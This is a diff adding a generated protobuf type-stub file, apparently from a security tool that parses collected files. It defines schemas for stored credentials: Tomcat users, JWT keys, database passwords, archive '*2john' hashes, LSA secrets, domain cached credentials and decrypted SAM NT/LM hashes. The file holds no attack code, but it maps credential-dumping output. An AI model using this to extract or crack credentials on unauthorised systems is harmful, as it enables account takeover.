+ def ClearField(self, field_name: typing_extensions.Literal["entries", b"entries", "roles", b"roles"]) -> None: ...
+
+global___Tomcat = Tomcat
+
+@typing_extensions.final
+class JWTToken(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ KEY_FIELD_NUMBER: builtins.int
+ ISSUER_FIELD_NUMBER: builtins.int
+ AUDIENCE_FIELD_NUMBER: builtins.int
+ MINUTES_TO_EXPIRATION_FIELD_NUMBER: builtins.int
+ key: builtins.str
+ issuer: builtins.str
+ audience: builtins.str
+ minutes_to_expiration: builtins.str
+ def __init__(
+ self,
+ *,
+ key: builtins.str = ...,
+ issuer: builtins.str = ...,
+ audience: builtins.str = ...,
+ minutes_to_expiration: builtins.str = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["audience", b"audience", "issuer", b"issuer", "key", b"key", "minutes_to_expiration", b"minutes_to_expiration"]) -> None: ...
+
+global___JWTToken = JWTToken
+
+@typing_extensions.final
+class DatabaseCredential(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ TYPE_FIELD_NUMBER: builtins.int
+ SERVER_FIELD_NUMBER: builtins.int
+ DATABASE_FIELD_NUMBER: builtins.int
+ USERNAME_FIELD_NUMBER: builtins.int
+ PASSWORD_FIELD_NUMBER: builtins.int
+ type: builtins.str
+ server: builtins.str
+ database: builtins.str
+ username: builtins.str
+ password: builtins.str
+ def __init__(
+ self,
+ *,
+ type: builtins.str = ...,
+ server: builtins.str = ...,
+ database: builtins.str = ...,
+ username: builtins.str = ...,
+ password: builtins.str = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["database", b"database", "password", b"password", "server", b"server", "type", b"type", "username", b"username"]) -> None: ...
+
+global___DatabaseCredential = DatabaseCredential
+
+@typing_extensions.final
+class ConnectionString(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ NAME_FIELD_NUMBER: builtins.int
+ PROVIDER_NAME_FIELD_NUMBER: builtins.int
+ CONNECTION_STRING_FIELD_NUMBER: builtins.int
+ DATABASE_CREDENTIAL_FIELD_NUMBER: builtins.int
+ name: builtins.str
+ provider_name: builtins.str
+ connection_string: builtins.str
+ @property
+ def database_credential(self) -> global___DatabaseCredential: ...
+ def __init__(
+ self,
+ *,
+ name: builtins.str = ...,
+ provider_name: builtins.str = ...,
+ connection_string: builtins.str = ...,
+ database_credential: global___DatabaseCredential | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["database_credential", b"database_credential"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["connection_string", b"connection_string", "database_credential", b"database_credential", "name", b"name", "provider_name", b"provider_name"]) -> None: ...
+
+global___ConnectionString = ConnectionString
+
+@typing_extensions.final
+class WebConfig(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ CONNECTION_STRINGS_FIELD_NUMBER: builtins.int
+ @property
+ def connection_strings(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___ConnectionString]: ...
+ def __init__(
+ self,
+ *,
+ connection_strings: collections.abc.Iterable[global___ConnectionString] | None = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["connection_strings", b"connection_strings"]) -> None: ...
+
+global___WebConfig = WebConfig
+
+@typing_extensions.final
+class AppSettings(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ CONNECTION_STRINGS_FIELD_NUMBER: builtins.int
+ JWT_TOKENS_FIELD_NUMBER: builtins.int
+ @property
+ def connection_strings(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___ConnectionString]: ...
+ @property
+ def jwt_tokens(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___JWTToken]: ...
+ def __init__(
+ self,
+ *,
+ connection_strings: collections.abc.Iterable[global___ConnectionString] | None = ...,
+ jwt_tokens: collections.abc.Iterable[global___JWTToken] | None = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["connection_strings", b"connection_strings", "jwt_tokens", b"jwt_tokens"]) -> None: ...
+
+global___AppSettings = AppSettings
+
+@typing_extensions.final
+class Signature(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ VERSION_FIELD_NUMBER: builtins.int
+ SIGNERS_FIELD_NUMBER: builtins.int
+ VERIFICATION_FLAGS_FIELD_NUMBER: builtins.int
+ version: builtins.int
+ @property
+ def signers(self) -> google.protobuf.internal.containers.RepeatedScalarFieldContainer[builtins.str]: ...
+ verification_flags: global___VerificationFlags.ValueType
+ def __init__(
+ self,
+ *,
+ version: builtins.int = ...,
+ signers: collections.abc.Iterable[builtins.str] | None = ...,
+ verification_flags: global___VerificationFlags.ValueType = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["signers", b"signers", "verification_flags", b"verification_flags", "version", b"version"]) -> None: ...
+
+global___Signature = Signature
+
+@typing_extensions.final
+class Header(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ MAJOR_IMAGE_VERSION_FIELD_NUMBER: builtins.int
+ MAJOR_LINKER_VERSION_FIELD_NUMBER: builtins.int
+ MAJOR_OPERATING_SYSTEM_VERSION_FIELD_NUMBER: builtins.int
+ MAJOR_SUBSYSTEM_VERSION_FIELD_NUMBER: builtins.int
+ MINOR_IMAGE_VERSION_FIELD_NUMBER: builtins.int
+ MINOR_LINKER_VERSION_FIELD_NUMBER: builtins.int
+ MINOR_OPERATING_SYSTEM_VERSION_FIELD_NUMBER: builtins.int
+ MINOR_SUBSYSTEM_VERSION_FIELD_NUMBER: builtins.int
+ TIME_DATE_STAMP_FIELD_NUMBER: builtins.int
+ major_image_version: builtins.int
+ major_linker_version: builtins.int
+ major_operating_system_version: builtins.int
+ major_subsystem_version: builtins.int
+ minor_image_version: builtins.int
+ minor_linker_version: builtins.int
+ minor_operating_system_version: builtins.int
+ minor_subsystem_version: builtins.int
+ @property
+ def time_date_stamp(self) -> google.protobuf.timestamp_pb2.Timestamp: ...
+ def __init__(
+ self,
+ *,
+ major_image_version: builtins.int = ...,
+ major_linker_version: builtins.int = ...,
+ major_operating_system_version: builtins.int = ...,
+ major_subsystem_version: builtins.int = ...,
+ minor_image_version: builtins.int = ...,
+ minor_linker_version: builtins.int = ...,
+ minor_operating_system_version: builtins.int = ...,
+ minor_subsystem_version: builtins.int = ...,
+ time_date_stamp: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["time_date_stamp", b"time_date_stamp"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["major_image_version", b"major_image_version", "major_linker_version", b"major_linker_version", "major_operating_system_version", b"major_operating_system_version", "major_subsystem_version", b"major_subsystem_version", "minor_image_version", b"minor_image_version", "minor_linker_version", b"minor_linker_version", "minor_operating_system_version", b"minor_operating_system_version", "minor_subsystem_version", b"minor_subsystem_version", "time_date_stamp", b"time_date_stamp"]) -> None: ...
+
+global___Header = Header
+
+@typing_extensions.final
+class Symbol(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ FUNC_NAME_FIELD_NUMBER: builtins.int
+ OFFSET_FIELD_NUMBER: builtins.int
+ ORDINAL_FIELD_NUMBER: builtins.int
+ func_name: builtins.str
+ offset: builtins.int
+ ordinal: builtins.int
+ def __init__(
+ self,
+ *,
+ func_name: builtins.str = ...,
+ offset: builtins.int = ...,
+ ordinal: builtins.int = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["func_name", b"func_name", "offset", b"offset", "ordinal", b"ordinal"]) -> None: ...
+
+global___Symbol = Symbol
+
+@typing_extensions.final
+class Exports(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ SYMBOLS_FIELD_NUMBER: builtins.int
+ @property
+ def symbols(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___Symbol]: ...
+ def __init__(
+ self,
+ *,
+ symbols: collections.abc.Iterable[global___Symbol] | None = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["symbols", b"symbols"]) -> None: ...
+
+global___Exports = Exports
+
+@typing_extensions.final
+class Dll(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ NAME_FIELD_NUMBER: builtins.int
+ SYMBOLS_FIELD_NUMBER: builtins.int
+ name: builtins.str
+ @property
+ def symbols(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___Symbol]: ...
+ def __init__(
+ self,
+ *,
+ name: builtins.str = ...,
+ symbols: collections.abc.Iterable[global___Symbol] | None = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["name", b"name", "symbols", b"symbols"]) -> None: ...
+
+global___Dll = Dll
+
+@typing_extensions.final
+class Imports(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ DLLS_FIELD_NUMBER: builtins.int
+ @property
+ def dlls(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___Dll]: ...
+ def __init__(
+ self,
+ *,
+ dlls: collections.abc.Iterable[global___Dll] | None = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["dlls", b"dlls"]) -> None: ...
+
+global___Imports = Imports
+
+@typing_extensions.final
+class VersionInfo(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ ASSEMBLY_VERSION_FIELD_NUMBER: builtins.int
+ COMMENTS_FIELD_NUMBER: builtins.int
+ COMPANY_NAME_FIELD_NUMBER: builtins.int
+ FILE_DESCRIPTION_FIELD_NUMBER: builtins.int
+ FILE_VERSION_FIELD_NUMBER: builtins.int
+ INTERNAL_NAME_FIELD_NUMBER: builtins.int
+ LEGAL_COPYRIGHT_FIELD_NUMBER: builtins.int
+ LEGAL_TRADEMARKS_FIELD_NUMBER: builtins.int
+ ORIGINAL_FILENAME_FIELD_NUMBER: builtins.int
+ PRIVATE_BUILD_FIELD_NUMBER: builtins.int
+ PRODUCT_NAME_FIELD_NUMBER: builtins.int
+ PRODUCT_VERSION_FIELD_NUMBER: builtins.int
+ SPECIAL_BUILD_FIELD_NUMBER: builtins.int
+ assembly_version: builtins.str
+ comments: builtins.str
+ company_name: builtins.str
+ file_description: builtins.str
+ file_version: builtins.str
+ internal_name: builtins.str
+ legal_copyright: builtins.str
+ legal_trademarks: builtins.str
+ original_filename: builtins.str
+ private_build: builtins.str
+ product_name: builtins.str
+ product_version: builtins.str
+ special_build: builtins.str
+ def __init__(
+ self,
+ *,
+ assembly_version: builtins.str = ...,
+ comments: builtins.str = ...,
+ company_name: builtins.str = ...,
+ file_description: builtins.str = ...,
+ file_version: builtins.str = ...,
+ internal_name: builtins.str = ...,
+ legal_copyright: builtins.str = ...,
+ legal_trademarks: builtins.str = ...,
+ original_filename: builtins.str = ...,
+ private_build: builtins.str = ...,
+ product_name: builtins.str = ...,
+ product_version: builtins.str = ...,
+ special_build: builtins.str = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["assembly_version", b"assembly_version", "comments", b"comments", "company_name", b"company_name", "file_description", b"file_description", "file_version", b"file_version", "internal_name", b"internal_name", "legal_copyright", b"legal_copyright", "legal_trademarks", b"legal_trademarks", "original_filename", b"original_filename", "private_build", b"private_build", "product_name", b"product_name", "product_version", b"product_version", "special_build", b"special_build"]) -> None: ...
+
+global___VersionInfo = VersionInfo
+
+@typing_extensions.final
+class Pe(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ HEADER_FIELD_NUMBER: builtins.int
+ EXPORTS_FIELD_NUMBER: builtins.int
+ IMPORTS_FIELD_NUMBER: builtins.int
+ VERSION_INFO_FIELD_NUMBER: builtins.int
+ STRING_RESOURCES_FIELD_NUMBER: builtins.int
+ SIGNATURES_FIELD_NUMBER: builtins.int
+ @property
+ def header(self) -> global___Header: ...
+ @property
+ def exports(self) -> global___Exports: ...
+ @property
+ def imports(self) -> global___Imports: ...
+ @property
+ def version_info(self) -> global___VersionInfo: ...
+ @property
+ def string_resources(self) -> google.protobuf.internal.containers.RepeatedScalarFieldContainer[builtins.str]: ...
+ @property
+ def signatures(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___Signature]: ...
+ def __init__(
+ self,
+ *,
+ header: global___Header | None = ...,
+ exports: global___Exports | None = ...,
+ imports: global___Imports | None = ...,
+ version_info: global___VersionInfo | None = ...,
+ string_resources: collections.abc.Iterable[builtins.str] | None = ...,
+ signatures: collections.abc.Iterable[global___Signature] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["exports", b"exports", "header", b"header", "imports", b"imports", "version_info", b"version_info"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["exports", b"exports", "header", b"header", "imports", b"imports", "signatures", b"signatures", "string_resources", b"string_resources", "version_info", b"version_info"]) -> None: ...
+
+global___Pe = Pe
+
+@typing_extensions.final
+class Resource(google.protobuf.message.Message):
+ """Used in DotnetAssembly - TODO: combine into one block"""
+
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ NAME_FIELD_NUMBER: builtins.int
+ MD5_FIELD_NUMBER: builtins.int
+ SHA1_FIELD_NUMBER: builtins.int
+ SHA256_FIELD_NUMBER: builtins.int
+ name: builtins.str
+ md5: builtins.str
+ sha1: builtins.str
+ sha256: builtins.str
+ def __init__(
+ self,
+ *,
+ name: builtins.str = ...,
+ md5: builtins.str = ...,
+ sha1: builtins.str = ...,
+ sha256: builtins.str = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["md5", b"md5", "name", b"name", "sha1", b"sha1", "sha256", b"sha256"]) -> None: ...
+
+global___Resource = Resource
+
+@typing_extensions.final
+class Typeref(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ MODULE_NAME_FIELD_NUMBER: builtins.int
+ FUNCTION_NAME_FIELD_NUMBER: builtins.int
+ module_name: builtins.str
+ function_name: builtins.str
+ def __init__(
+ self,
+ *,
+ module_name: builtins.str = ...,
+ function_name: builtins.str = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["function_name", b"function_name", "module_name", b"module_name"]) -> None: ...
+
+global___Typeref = Typeref
+
+@typing_extensions.final
+class ImplMapEntry(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ MODULE_NAME_FIELD_NUMBER: builtins.int
+ FUNCTION_NAME_FIELD_NUMBER: builtins.int
+ module_name: builtins.str
+ function_name: builtins.str
+ def __init__(
+ self,
+ *,
+ module_name: builtins.str = ...,
+ function_name: builtins.str = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["function_name", b"function_name", "module_name", b"module_name"]) -> None: ...
+
+global___ImplMapEntry = ImplMapEntry
+
+@typing_extensions.final
+class DotnetAssembly(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ HEADER_FIELD_NUMBER: builtins.int
+ EXPORTS_FIELD_NUMBER: builtins.int
+ IMPORTS_FIELD_NUMBER: builtins.int
+ VERSION_INFO_FIELD_NUMBER: builtins.int
+ STRING_RESOURCES_FIELD_NUMBER: builtins.int
+ SIGNATURES_FIELD_NUMBER: builtins.int
+ RESOURCES_FIELD_NUMBER: builtins.int
+ PDB_STRING_FIELD_NUMBER: builtins.int
+ DOTNET_VERSION_FIELD_NUMBER: builtins.int
+ TYPEREFS_FIELD_NUMBER: builtins.int
+ IMPL_MAP_ENTRIES_FIELD_NUMBER: builtins.int
+ @property
+ def header(self) -> global___Header: ...
+ @property
+ def exports(self) -> global___Exports: ...
+ @property
+ def imports(self) -> global___Imports: ...
+ @property
+ def version_info(self) -> global___VersionInfo: ...
+ @property
+ def string_resources(self) -> google.protobuf.internal.containers.RepeatedScalarFieldContainer[builtins.str]: ...
+ @property
+ def signatures(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___Signature]: ...
+ @property
+ def resources(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___Resource]: ...
+ pdb_string: builtins.str
+ dotnet_version: builtins.str
+ @property
+ def typerefs(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___Typeref]: ...
+ @property
+ def impl_map_entries(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___ImplMapEntry]: ...
+ def __init__(
+ self,
+ *,
+ header: global___Header | None = ...,
+ exports: global___Exports | None = ...,
+ imports: global___Imports | None = ...,
+ version_info: global___VersionInfo | None = ...,
+ string_resources: collections.abc.Iterable[builtins.str] | None = ...,
+ signatures: collections.abc.Iterable[global___Signature] | None = ...,
+ resources: collections.abc.Iterable[global___Resource] | None = ...,
+ pdb_string: builtins.str = ...,
+ dotnet_version: builtins.str = ...,
+ typerefs: collections.abc.Iterable[global___Typeref] | None = ...,
+ impl_map_entries: collections.abc.Iterable[global___ImplMapEntry] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["exports", b"exports", "header", b"header", "imports", b"imports", "version_info", b"version_info"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["dotnet_version", b"dotnet_version", "exports", b"exports", "header", b"header", "impl_map_entries", b"impl_map_entries", "imports", b"imports", "pdb_string", b"pdb_string", "resources", b"resources", "signatures", b"signatures", "string_resources", b"string_resources", "typerefs", b"typerefs", "version_info", b"version_info"]) -> None: ...
+
+global___DotnetAssembly = DotnetAssembly
+
+@typing_extensions.final
+class Archive(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ @typing_extensions.final
+ class ArchiveEntry(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ NAME_FIELD_NUMBER: builtins.int
+ IS_DIR_FIELD_NUMBER: builtins.int
+ COMPRESS_SIZE_FIELD_NUMBER: builtins.int
+ UNCOMPRESS_SIZE_FIELD_NUMBER: builtins.int
+ LAST_MODIFIED_FIELD_NUMBER: builtins.int
+ name: builtins.str
+ is_dir: builtins.bool
+ compress_size: builtins.int
+ uncompress_size: builtins.int
+ @property
+ def last_modified(self) -> google.protobuf.timestamp_pb2.Timestamp: ...
+ def __init__(
+ self,
+ *,
+ name: builtins.str = ...,
+ is_dir: builtins.bool = ...,
+ compress_size: builtins.int = ...,
+ uncompress_size: builtins.int = ...,
+ last_modified: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["last_modified", b"last_modified"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["compress_size", b"compress_size", "is_dir", b"is_dir", "last_modified", b"last_modified", "name", b"name", "uncompress_size", b"uncompress_size"]) -> None: ...
+
+ TYPE_FIELD_NUMBER: builtins.int
+ IS_ENCRYPTED_FIELD_NUMBER: builtins.int
+ UNCOMPRESSED_SIZE_FIELD_NUMBER: builtins.int
+ ENCRYPTION_HASH_FIELD_NUMBER: builtins.int
+ ENTRIES_FIELD_NUMBER: builtins.int
+ type: builtins.str
+ is_encrypted: builtins.bool
+ uncompressed_size: builtins.int
+ encryption_hash: builtins.str
+ """*2john hash representing the archive password"""
+ @property
+ def entries(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___Archive.ArchiveEntry]: ...
+ def __init__(
+ self,
+ *,
+ type: builtins.str = ...,
+ is_encrypted: builtins.bool = ...,
+ uncompressed_size: builtins.int = ...,
+ encryption_hash: builtins.str | None = ...,
+ entries: collections.abc.Iterable[global___Archive.ArchiveEntry] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["_encryption_hash", b"_encryption_hash", "encryption_hash", b"encryption_hash"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["_encryption_hash", b"_encryption_hash", "encryption_hash", b"encryption_hash", "entries", b"entries", "is_encrypted", b"is_encrypted", "type", b"type", "uncompressed_size", b"uncompressed_size"]) -> None: ...
+ def WhichOneof(self, oneof_group: typing_extensions.Literal["_encryption_hash", b"_encryption_hash"]) -> typing_extensions.Literal["encryption_hash"] | None: ...
+
+global___Archive = Archive
+
+@typing_extensions.final
+class RegHiveSystem(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ BOOT_KEY_FIELD_NUMBER: builtins.int
+ boot_key: builtins.bytes
+ def __init__(
+ self,
+ *,
+ boot_key: builtins.bytes = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["boot_key", b"boot_key"]) -> None: ...
+
+global___RegHiveSystem = RegHiveSystem
+
+@typing_extensions.final
+class DomainCachedCredential(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ IS_DECRYPTED_FIELD_NUMBER: builtins.int
+ ENC_RAW_VALUE_FIELD_NUMBER: builtins.int
+ DOMAIN_LONG_FIELD_NUMBER: builtins.int
+ USER_NAME_FIELD_NUMBER: builtins.int
+ ITERATION_COUNT_FIELD_NUMBER: builtins.int
+ CACHED_HASH_FIELD_NUMBER: builtins.int
+ ANSWER_FIELD_NUMBER: builtins.int
+ TIMESTAMP_FIELD_NUMBER: builtins.int
+ is_decrypted: builtins.bool
+ """true if the hive values are decrypted"""
+ enc_raw_value: builtins.bytes
+ """raw bytes extracted from the registry key"""
+ domain_long: builtins.str
+ """DOMAIN.CORP/username"""
+ user_name: builtins.str
+ """username"""
+ iteration_count: builtins.int
+ """counts for Vista style iteration"""
+ cached_hash: builtins.bytes
+ """bytes of the decoded domain cached hash"""
+ answer: builtins.str
+ """string representation of the crackable hash"""
+ @property
+ def timestamp(self) -> google.protobuf.timestamp_pb2.Timestamp:
+ """timestamp of the login, UTC"""
+ def __init__(
+ self,
+ *,
+ is_decrypted: builtins.bool = ...,
+ enc_raw_value: builtins.bytes = ...,
+ domain_long: builtins.str = ...,
+ user_name: builtins.str = ...,
+ iteration_count: builtins.int = ...,
+ cached_hash: builtins.bytes = ...,
+ answer: builtins.str = ...,
+ timestamp: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["timestamp", b"timestamp"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["answer", b"answer", "cached_hash", b"cached_hash", "domain_long", b"domain_long", "enc_raw_value", b"enc_raw_value", "is_decrypted", b"is_decrypted", "iteration_count", b"iteration_count", "timestamp", b"timestamp", "user_name", b"user_name"]) -> None: ...
+
+global___DomainCachedCredential = DomainCachedCredential
+
+@typing_extensions.final
+class LSASecret(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ NAME_FIELD_NUMBER: builtins.int
+ IS_DECRYPTED_FIELD_NUMBER: builtins.int
+ VALUE_ENC_FIELD_NUMBER: builtins.int
+ VALUE_DEC_FIELD_NUMBER: builtins.int
+ VALUE_DEC_STR_FIELD_NUMBER: builtins.int
+ name: builtins.str
+ """name of the secret"""
+ is_decrypted: builtins.bool
+ """true if the value is decrypted"""
+ value_enc: builtins.bytes
+ """encrypted bytes of the secret"""
+ value_dec: builtins.bytes
+ """decrypted bytes of the secret"""
+ value_dec_str: builtins.str
+ """string representation of the decrypted secret"""
+ def __init__(
+ self,
+ *,
+ name: builtins.str = ...,
+ is_decrypted: builtins.bool = ...,
+ value_enc: builtins.bytes = ...,
+ value_dec: builtins.bytes = ...,
+ value_dec_str: builtins.str = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["is_decrypted", b"is_decrypted", "name", b"name", "value_dec", b"value_dec", "value_dec_str", b"value_dec_str", "value_enc", b"value_enc"]) -> None: ...
+
+global___LSASecret = LSASecret
+
+@typing_extensions.final
+class RegHiveSecurity(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ IS_DECRYPTED_FIELD_NUMBER: builtins.int
+ VISTA_STYLE_FIELD_NUMBER: builtins.int
+ LSA_SECRET_KEY_ENC_FIELD_NUMBER: builtins.int
+ LSA_SECRET_KEY_DEC_FIELD_NUMBER: builtins.int
+ NLKM_SECRET_ENC_FIELD_NUMBER: builtins.int
+ NLKM_SECRET_DEC_FIELD_NUMBER: builtins.int
+ LSA_SECRETS_FIELD_NUMBER: builtins.int
+ DOMAIN_CACHED_CREDENTIALS_FIELD_NUMBER: builtins.int
+ is_decrypted: builtins.bool
+ """true if the hive values are decrypted"""
+ vista_style: builtins.bool
+ """true if hive is post XP"""
+ lsa_secret_key_enc: builtins.bytes
+ """enc/dec bytes of the LSASecret"""
+ lsa_secret_key_dec: builtins.bytes
+ nlkm_secret_enc: builtins.bytes
+ """enc/dec bytes of the NLKM key"""
+ nlkm_secret_dec: builtins.bytes
+ @property
+ def lsa_secrets(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___LSASecret]:
+ """one or more LSA secrets"""
+ @property
+ def domain_cached_credentials(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___DomainCachedCredential]:
+ """one or more domain cached creds"""
+ def __init__(
+ self,
+ *,
+ is_decrypted: builtins.bool = ...,
+ vista_style: builtins.bool = ...,
+ lsa_secret_key_enc: builtins.bytes = ...,
+ lsa_secret_key_dec: builtins.bytes = ...,
+ nlkm_secret_enc: builtins.bytes = ...,
+ nlkm_secret_dec: builtins.bytes = ...,
+ lsa_secrets: collections.abc.Iterable[global___LSASecret] | None = ...,
+ domain_cached_credentials: collections.abc.Iterable[global___DomainCachedCredential] | None = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["domain_cached_credentials", b"domain_cached_credentials", "is_decrypted", b"is_decrypted", "lsa_secret_key_dec", b"lsa_secret_key_dec", "lsa_secret_key_enc", b"lsa_secret_key_enc", "lsa_secrets", b"lsa_secrets", "nlkm_secret_dec", b"nlkm_secret_dec", "nlkm_secret_enc", b"nlkm_secret_enc", "vista_style", b"vista_style"]) -> None: ...
+
+global___RegHiveSecurity = RegHiveSecurity
+
+@typing_extensions.final
+class SamHash(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ IS_DECRYPTED_FIELD_NUMBER: builtins.int
+ NEW_STYLE_FIELD_NUMBER: builtins.int
+ USERNAME_FIELD_NUMBER: builtins.int
+ RID_FIELD_NUMBER: builtins.int
+ LM_HASH_ENC_FIELD_NUMBER: builtins.int
+ LM_HASH_DEC_FIELD_NUMBER: builtins.int
+ NT_HASH_ENC_FIELD_NUMBER: builtins.int
+ NT_HASH_DEC_FIELD_NUMBER: builtins.int
+ ANSWER_FIELD_NUMBER: builtins.int
+ is_decrypted: builtins.bool
+ """true if the value is decrypted"""
+ new_style: builtins.bool
+ """true if the hash is a "new style" hash"""
+ username: builtins.str
+ """name of the local user account"""
+ rid: builtins.int
+ """RID of the local user account"""
+ lm_hash_enc: builtins.bytes
+ """bytes of the enc/dec LM hash value"""
+ lm_hash_dec: builtins.bytes
+ nt_hash_enc: builtins.bytes
+ """bytes of the enc/dec NT hash value"""
+ nt_hash_dec: builtins.bytes
+ answer: builtins.str
+ """string representation of the total hash"""
+ def __init__(
+ self,
+ *,
+ is_decrypted: builtins.bool = ...,
+ new_style: builtins.bool = ...,
+ username: builtins.str = ...,
+ rid: builtins.int = ...,
+ lm_hash_enc: builtins.bytes = ...,
+ lm_hash_dec: builtins.bytes = ...,
+ nt_hash_enc: builtins.bytes = ...,
+ nt_hash_dec: builtins.bytes = ...,
+ answer: builtins.str = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["answer", b"answer", "is_decrypted", b"is_decrypted", "lm_hash_dec", b"lm_hash_dec", "lm_hash_enc", b"lm_hash_enc", "new_style", b"new_style", "nt_hash_dec", b"nt_hash_dec", "nt_hash_enc", b"nt_hash_enc", "rid", b"rid", "username", b"username"]) -> None: ...
+
+global___SamHash = SamHash
+
+@typing_extensions.final
+class RegHiveSam(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ IS_DECRYPTED_FIELD_NUMBER: builtins.int
+ F_BYTES_FIELD_NUMBER: builtins.int
+ HASHED_BOOT_KEY_FIELD_NUMBER: builtins.int
+ SAM_HASHES_FIELD_NUMBER: builtins.int
+ is_decrypted: builtins.bool
+ """true if the hive values are decrypted"""
+ f_bytes: builtins.bytes
+ """bytes of the encrypted source for the HashedBootKey"""
+ hashed_boot_key: builtins.bytes
+ """bytes of the decrypted HashedBootKey"""
+ @property
+ def sam_hashes(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___SamHash]:
+ """one or more local SAM hashes"""
+ def __init__(
+ self,
+ *,
+ is_decrypted: builtins.bool = ...,
+ f_bytes: builtins.bytes = ...,
+ hashed_boot_key: builtins.bytes = ...,
+ sam_hashes: collections.abc.Iterable[global___SamHash] | None = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["f_bytes", b"f_bytes", "hashed_boot_key", b"hashed_boot_key", "is_decrypted", b"is_decrypted", "sam_hashes", b"sam_hashes"]) -> None: ...
+
+global___RegHiveSam = RegHiveSam
+
+@typing_extensions.final
+class RawParsedData(google.protobuf.message.Message):
+ """RawParsedData is for unstructured data meant for the user instead of an automated pipeline"""
+
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
